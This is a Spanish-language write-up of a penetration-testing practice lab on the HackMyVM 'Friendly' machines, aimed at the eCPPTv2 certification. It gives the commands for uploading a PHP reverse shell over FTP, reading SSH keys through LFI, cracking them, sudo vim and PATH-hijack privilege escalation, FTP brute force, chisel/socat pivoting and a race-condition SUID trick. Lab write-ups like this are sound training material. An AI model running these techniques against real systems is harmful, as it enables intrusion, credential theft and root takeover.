eCPPTv2 Saga Friendly
eCPPTv2 Saga Friendly
Este LAB esta orientado para practicar el pivoting de cara a la certificación "eCPPTv2"
. Vamos a utilizar la saga de máquinas “Friendly” de la plataforma Hackmyvm. Son máquinas fáciles y muy divertidas creadas por el usuario Rijaba1
, os dejo su canal de YouTube y de GitHub por si quereis apoyar sus proyectos.

Descarga de Máquinas
Configuración Máquinas
- Las máquinas se descargan en
.zip
,las descomprimimos y hacemos doble click al.ova
de cada máquina para importalas a VirtualBOX. - Dentro de VirtualBOX en
tools/networks
configuramos las redes necesarias para el LAB.

- Ahora vamos a asignar los adaptadores de red necesarios a cada máquina.
- En la máquina Friendly activamos dos adaptadores de red con
NAT VM
yNAT VM1
, es importante cambiar el modo promiscuo en todas las máquinas aAllow VMs
para poder tener conexión entre las máquinas virtuales.

- Máquina Friendly2, red
NAT VM1 y 2
:

- Máquina Friendly3, red
NAT VM2
:

Network
Esta tabla indica el nombre y cantidad de las interfaces de red a cada máquina.
Máquina | 1ª Interface | 2ª Interface |
---|---|---|
KALI | NAT VM | |
Friendly | NAT VM | NAT VM1 |
Friendly2 | NAT VM1 | NAT VM2 |
Friendly3 | NAT VM2 |
Resources
Recursos para enumerar y pivotar durante el LAB.
- NetScan es un script de reconocimiento de hosts y puertos.
- Procmon script para ver procesos en segundo plano en tiempo real.
- Chisel
- Socat
Explotación
Friendly
Enumeración
- Hacemos un escaneo de Hosts en nuestra red con
arp-scan -I eth0 --localnet
, la máquina Friendly es la ip 192.168.100.5.

- Enumeramos con
nmap
los puertos abiertos.

- Lanzamos una serie de sripts de
nmap
para descubrir versión y detalles de los servicios encontrados.

- Podemos acceder como
anonymous
sin proporcionarpass
, no encontramos nada interesante, pero encontramos algo curioso, elindex.html
esta en el servicioFTP
, podemos suponer que el directorio web está montado en elFTP
. - Aplicamos fuzzing a la WEB:
- Fuzzing a directorios:
gobuster dir -u http://192.168.100.5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
-> Sin éxito. - Fuzzing a subdirectorios:
gobuster vhost -u http://192.168.100.5 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
-> Sin éxito.
- Fuzzing a directorios:
- La WEB parece estar limpia, vamos a retomar la idea de entrar e intentar subir un archivo al servicio
FTP
, si realmente es el directorio raiz de la WEB podemos cargar un fichero malicioso y el servidor lo interpretará.Intrusión
- Vamos a crear un
test.txt
y subirlo a FTP conput
.


- El servidor interpreta los archivos, vamos a descargar y subir una revshell, yo en este caso voy a subir la típica de PentesMonkey, existen otros recursos en Revshells,etc.

- Necesitamos cambiar la
IP
yPORT
donde vamos a recibir la revshell.

- Dentro de FTP, realizamos un
put r4mnx.php
que es el archivo que contiene la revShell. - Nos ponemos en escucha con
nc
en la máquina de ataque y lanzamoscurl
para activar la revshell al recursor4mnx.php
.

www-data
- Ganamos acceso como
www-data
. - Ejecutamos
sudo -l
y tenemos privilegios sudo del binariovim
, vim tiene la característica de poder ejecutar comandos a nivel de sistema dentro devim
.

- Ejecutamos
sudo vim
, y dentro escribimos:! /bin/bash
y automáticamente recibimos una Shell comoROOT
.

- PWNED!
ROOT
- Ahora somos
root
, vamos a preparar la máquina para seguir avanzando en el LAB e ir descubriendo la siguiente máquina. - Vamos a instalar ssh y activarlo para acceder con mayor facilidad:
apt install openssh-server
systemctl enable ssh
systemctl status ssh
- Una vez que ssh este habilitado en “Friendly” vamos a crear un fichero en
/root/.ssh/authorized_keys
para guardar nuestra id_rsa.pub de nuestra máquina de atacante. - Pasos:
mkdir /root/.ssh/ && touch /root/.ssh/authorized_keys
-> Máquina ataquessh-keygen
-> Máquina ataque- Copiamos el contenido de
id_rsa.pub
de nuestra máquina al ficheroauthorized_keys
de la máquina “Friendly”.
- Subida de archivos necesarios, vamos a descargar los archivos dentro de “Resources” y subierlos con
scp
:
1
2
3
$> scp -i ~/.ssh/id_rsa NetScan.sh root@192.168.100.5:/root/
$> scp -i ~/.ssh/id_rsa socat root@192.168.100.5:/root/
$> scp -i ~/.ssh/id_rsa chisel root@192.168.100.5:/root/

- Con
ip a
vemos que la máquina Friendly tiene otra interface con la IP “10.0.2.6”, vamos a usar NetScan.sh para descubrir hosts. - Vamos a levantar el servidor de
chisel
en nuestra máquina y el cliente en “Friendly” para poder alcanzarFriendly2
.
1
2
3
4
$> sudo ./chisel server --reverse -p 10000 # Kali: Creamos SERVER CHISEL
$> ./chisel client 192.168.100.4:10000 R:10001:socks # Máquina Friendly
# IMPORTANTE: modificar el fichero /etc/proxychains.conf -> "strict_chains" & "socks5 127.0.0.1 10001"
Friendly2
Enumeración
- Enumeración de puertos con
Nmap
:

- Vamos a realizar Fuzzing con
Gobuster
a la WEB, en este caso no usaremosproxychains
ya que gobuster tiene una flag específica para lanzar bajo un proxy:

Intrusión
- Vamos a ver ese directorio WEB
/tools
, se puede hacer desde un navegador como firefox configurando el addonFoxyProxy
por ejemplo o en mi caso me parece más comodo realizar las peticiones bajoproxychains
ycurl
.

- Analizando el código podemos ver que el recurso
check_if_exist.php
tiene una variabledoc
esta carga ficheros existentes del servidor WEB. Al cargar ficheros locales del servidor, podemos intentar escapar del directorio raiz del server WEB y cargar ficheros locales de la máquina, si es así estariamos ante unLFI
.sudo proxychains curl "http://10.0.2.5/tools/check_if_exist.php?doc=keyboard.html"
-> vemos el recursokeyboard.html
.- Vamos a realizar un Path Traversal y llegar a ejecutar un
LFI (Local File Inclusión)
.

- Es vulnerable a
LFI
, encontramos un usuariogh0st
en elpasswd
, vamos a ver otros ficheros sensibles del sistema como laid_rsa
del usuariogh0st
.

- Vamos a copiar la
id_rsa
en nuestra máquina y asignarle permisos 600 para intentar conectarnos por ssh. Pasos:echo "contenido id_rsa" > id_rsa
-> máquina de atacante.chmod 600 id_rsa
-> en la máquina de atacante.
- Nos conectamos por ssh:

- Parece que la
id_rsa
está protegida por contraseña, podemos conssh2john
extraer un hash y conjohn
intentar crackealo:ssh2john id_rsa > hash
-> extraemos el hash

- Ahora tenemos la pass
"celtic"
para poder usar laid_rsa
.

gh0st
- Accedemos a Friendly2 como
gh0st
, vamos a hacerexport TERM=xterm
yexport SHELL=bash
para tener mas movilidad en la terminal. - Lanzamos
sudo -l
y vemos que tenemos permisos para lanzar el script como root sin proporcionar contraseña.

SETENV
nos permite modificar una variable de entorno durante la ejecución del comando unicamente.cat /opt/security.sh
vemos el codigo del script y ejecuta comandos con ruta relativa.- En conclusión, si podemos ejecutar el script como root sin pass, modificar una variable de entorno y el script no usa rutas absolutas, podemos ejecutar un
"PATH Hijacking"
. - Vamos a crear un archivo malicioso llamado
tr
, modificaremos la variablePATH
y así poder cargar nuestrotr
malicioso.echo "chmod u+s /bin/bash" > tr
-> Creamos el ficherotr
con un comando para cambiarSUID
a la bash.chmod +x tr
-> otorgamos permisos de ejecución atr
.
- Ya está todo listo, vamos a ejecutar el siguiente comando para dar permisos
SUID
a la bash.

bash -p
-> lanzamos una bash con máximos privilegios, al serSUID
nos convertiremos enroot
.- PWNED!
ROOT
- Vamos hacer el mismo proceso de la máquina
"Friendly"
, copiamos nuestroid_rsa.pub
en elauthorized_keys
deFriendly2
y subimos todos los archivos de Resources (NetScan.sh, socat y chisel) conscp
:mkdir /root/.ssh
-> Ejecución en Friendly2echo "ContenidoID_RSA.pub" > authorized_keys
-> Friendly2
1
2
3
$> proxychains scp -i ~/.ssh/id_rsa NetScan.sh root@10.0.2.5:/root/
$> proxychains scp -i ~/.ssh/id_rsa socat root@10.0.2.5:/root/
$> proxychains scp -i ~/.ssh/id_rsa chisel root@10.0.2.5:/root/
ip a
-> en Friendly2 y descubrimos una nueva interface de red por lo tanto otro segmento de red a escanear../NetScan.sh -o 192.168.20.0/24
-> Escaneo de hosts.

./NetScan -p 192.168.20.7
-> Escaneo de Ports.

Pivoting
- Para alcanzar Friendly3, tenemos que levantar otro cliente de
chisel
en Friendly2 y consocat
redirecionarchisel
a nuestra máquina de ataque.

1
2
$> ./socat TCP-LISTEN:10100,fork TCP:192.168.100.4:10000 # Friendly escuchamos por el puerto 10100 y redirecionamos a nuestro Kali al puerto 10000 que es donde está chisel.
$> ./chisel client 10.0.2.6:10100 R:10002:socks # Friendly2, lanzamos al socat, en la interfaz más cercana, en este caso a la ip 10.0.2.6.
- Debemos modificar
/etc/proxychains.conf
para añadirsocks5 127.0.0.1 10002
. - Comentar
# sctric_chain
y descomentar# dynamic_chain
- Añadir en este orden
socks5 127.0.0.1 10002

Friendly3
Enumeración
- Escaneamos con
Nmap
:

- Lanzamos scripts de reconocimeinto de versión de servicios:

Intrusión
- Vemos la WEB, y encontramos un nombre de usuario
"juan"
y nos indica que se han añadido nuevos recursos al servicioFTP
.

- La WEB parece limpia, no tenemos acceso a FTP como
anonymous
, vamos a realizar conhydra
fuerza bruta al servicioFTP
.


FTP
tiene muchos archivos y directorios, vamos a descargarlos en nuestra máquina de forma recursiva para analizarlos mejor.proxychains -q wget -r ftp://juan:alexis@192.168.20.7
-> Después de analizar todos los archivos, es un RabbitHole.
- En este punto parece que no podemos avanzar en la máquina, pero siempre tenemos que contemplar la reutilización de contraseñas.
- Vamos a conectarnos por
ssh
con las credencialesjuan:alexis
- Ganamos acceso a “Friendly3” como
juan
. - Después de ejecutar comandos y no encontrar nada, vamos a ver si se está ejecutando alguna tarea en segundo plano.
Antes de usar herramientas como LinEnumo LSE, pruebo con un script sencillo como Procmon.
- Descargamos Procmon le asignamos permisos de ejecución
chmod +x procmon.sh
y lo ejecutamos.

- Se está ejecutando un script como
root
, vamos a investigarlo.

- El script copia una bash (como root) en el directorio
/tmp/a.bash
, asigna una serie de permisos y luego borra el fichero. - Vamos a crear una “OneLine” para que ejecute un comando antes de que
a.bash
sea borrada y así injectar permisosSUID
a la bash.
1
$> while true; do echo "chmod u+s /bin/bash" > /tmp/a.bash && echo "Ok"; done #
- Ahora la bash es
SUID
.

This post is licensed under CC BY 4.0 by the author.